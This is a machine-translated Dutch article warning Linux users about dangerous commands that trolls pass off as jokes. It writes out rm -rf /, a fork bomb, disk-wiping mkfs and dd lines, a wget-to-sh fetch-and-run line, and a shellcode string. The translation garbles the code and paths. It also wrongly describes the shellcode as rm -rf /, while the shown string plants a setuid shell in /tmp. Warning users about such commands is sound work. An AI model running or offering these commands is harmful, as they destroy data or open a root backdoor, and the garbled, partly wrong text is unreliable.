8 Dodelijke bevelen die je nooit op Linux zou moeten uitvoeren
De terminale commando's van Linux zijn krachtig en Linux vraagt je niet om bevestiging als je een commando uitvoert dat je systeem zal breken. Het is niet ongebruikelijk om online trollen te zien die nieuwe Linux-gebruikers aanbevelen om deze opdrachten als een grap uit te voeren.
Het leren van de commando's die je niet moet uitvoeren, kan je beschermen tegen trollen terwijl je meer inzicht krijgt in hoe Linux werkt. Dit is geen uitputtende gids, en de opdrachten hier kunnen op verschillende manieren worden geremixed.
Merk op dat veel van deze commando's alleen gevaarlijk zijn als ze worden voorafgegaan door sudo op Ubuntu - ze zullen niet anders werken. Op andere Linux-distributies moeten de meeste commando's als root worden uitgevoerd.
Image Credit: Skull and Crossbones geremixed van Jason Ford op Twitter
rm -rf / - Hiermee wordt alles verwijderd!
Het bevel rm -rf / verwijdert alles wat mogelijk is, inclusief bestanden op uw harde schijf en bestanden op aangesloten verwisselbare media-apparaten. Dit commando is begrijpelijker als het wordt afgebroken:
rm - Verwijder de volgende bestanden.
-rf - Voer rm recursief uit (verwijder alle bestanden en mappen binnen de opgegeven map) en force-remove alle bestanden zonder dat u hierom wordt gevraagd.
/ - Laat rm beginnen met de hoofdmap, die alle bestanden op uw computer en alle aangekoppelde media-apparaten bevat, inclusief externe bestandsshares en verwisselbare schijven.
Linux zal deze opdracht graag opvolgen en alles wissen zonder u daarom te vragen, dus wees voorzichtig wanneer u het gebruikt! Het commando rm kan ook op andere gevaarlijke manieren worden gebruikt - rm -rf ~ zou alle bestanden in je thuismap verwijderen, terwijl rm -rf. * zou al uw configuratiebestanden verwijderen.
De les: Pas op voor rm -rf.
Vermomde rm -rf /
Hier is nog een codefragment dat overal op internet staat:
char esp [] __attribute__ ((sectie (". text"))) / * e.s.p
vrijlating */
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
“\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ X8d \ x99”
“\ XDF \ x81 \ x68 \ X8d \ x92 \ XDF \ XD2 \ x54 \ x5e \ XF7 \ x16 \ XF7”
“\ X56 \ x04 \ XF7 \ x56 \ x08 \ XF7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56”
“\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31”
“\ Xc0 \ x40 \ XEB \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2F \ x62 \ x69”
“\ X6e \ x2F \ x73 \ x68 \ x00 \ X2D \ x63 \ x00”
"Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond “;
Dit is de hex-versie van rm -rf / - het uitvoeren van deze opdracht zou je bestanden vernietigen net alsof je rm -rf /.
De les: Loop geen vreemd uitziende, duidelijk vermomde commando's die je niet begrijpt.
: () : |: & ;: - Fork Bomb
De volgende regel is een eenvoudig ogende, maar gevaarlijke, bash-functie:
: () : |: & ;:
Deze korte regel definieert een shell-functie die nieuwe kopieën van zichzelf maakt. Het proces repliceert zichzelf voortdurend, en de kopieën repliceren zichzelf voortdurend en nemen snel al uw CPU-tijd en geheugen in beslag. Hierdoor kan uw computer bevriezen. Het is in feite een denial-of-service-aanval.
De les: Bash-functies zijn krachtig, zelfs zeer korte.
Beeldcredits: Dake op Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formatteert een harde schijf
De mkfs.ext4 / dev / sda1 commando is eenvoudig te begrijpen:
mkfs.ext4 - Maak een nieuw ext4 bestandssysteem op het volgende apparaat.
/ Dev / sda1 - Geeft de eerste partitie op de eerste harde schijf aan, die waarschijnlijk in gebruik is.
Alles bij elkaar genomen, kan dit commando equivalent zijn aan het run format c: op Windows - het zal de bestanden op je eerste partitie wissen en ze vervangen door een nieuw bestandssysteem.
Dit commando kan ook in andere vormen voorkomen - mkfs.ext3 / dev / sdb2 zou de tweede partitie op de tweede harde schijf formatteren met het ext3 bestandssysteem.
De les: Pas op voor het uitvoeren van opdrachten rechtstreeks op harddisk-apparaten die beginnen met / dev / sd.
opdracht> / dev / sda - schrijft rechtstreeks naar een harde schijf
De opdracht> / dev / sda regel werkt op dezelfde manier - het voert een commando uit en stuurt de uitvoer van die opdracht rechtstreeks naar je eerste harde schijf, waarbij de gegevens rechtstreeks naar de harde schijf worden geschreven en je bestandssysteem wordt beschadigd.
commando - Voer een opdracht uit (dit kan een willekeurige opdracht zijn).
> - Stuur de uitvoer van het commando naar de volgende locatie.
/ Dev / sda - Schrijf de uitvoer van de opdracht rechtstreeks naar de harde schijf.
De les: Zoals hierboven, pas op voor het uitvoeren van opdrachten die betrekking hebben op harddisk-apparaten die beginnen met / dev / sd.
dd if = / dev / random of = / dev / sda - Schrijf Junk Onto een harde schijf
De dd if = / dev / random of = / dev / sda lijn zal ook de gegevens op een van uw harde schijven wissen.
dd - Kopiëren op laag niveau van de ene locatie naar de andere.
if = / dev / random - Gebruik / dev / random (willekeurige gegevens) als invoer - je kunt ook locaties zien als / dev / zero (nullen).
of = / dev / sda - Uitvoer naar de eerste harde schijf, waarbij het bestandssysteem wordt vervangen door willekeurige afvalgegevens.
De les: dd kopieert gegevens van de ene locatie naar de andere, wat gevaarlijk kan zijn als u rechtstreeks naar een apparaat kopieert.
Image Credit: Matt Rudge op Flickr
mv ~ / dev / null - Verplaatst uw homedirectory naar een zwart gat
/ dev / null is een andere speciale locatie - iets verplaatsen naar / dev / null is hetzelfde als het vernietigen ervan. Zie / dev / null als een zwart gat. In wezen, mv ~ / dev / null stuurt al je persoonlijke bestanden naar een zwart gat.
mv - Verplaats het volgende bestand of de volgende map naar een andere locatie.
~ - Vertegenwoordigt uw volledige thuismap.
/ Dev / null - Verplaats je thuismap naar / dev / null, vernietig al je bestanden en verwijder de originele exemplaren.
De les: Het teken ~ staat voor je thuismap en het verplaatsen van dingen naar / dev / null vernietigt ze.
wget http://example.com/something -O - | sh - Download en voert een script uit
De bovenstaande regel downloadt een script van het web en verzendt het naar sh, waarmee de inhoud van het script wordt uitgevoerd. Dit kan gevaarlijk zijn als u niet zeker weet wat het script is of als u de bron niet vertrouwt - voer geen niet-vertrouwde scripts uit.
wget - Downloadt een bestand (Mogelijk ziet u ook krullen in plaats van wget.)
http://example.com/something - Download het bestand vanaf deze locatie.
| - Stuur (verzend) de uitvoer van de wget-opdracht (het bestand dat u hebt gedownload) rechtstreeks naar een andere opdracht.
sh - Stuur het bestand naar de opdracht sh, die het uitvoert als het een bash-script is.
De les: Download en voer niet-vertrouwde scripts van internet uit, zelfs niet met een opdracht.
Ken je nog andere gevaarlijke commando's die nieuwe (en ervaren) Linux-gebruikers niet zouden moeten uitvoeren? Laat een reactie achter en deel ze!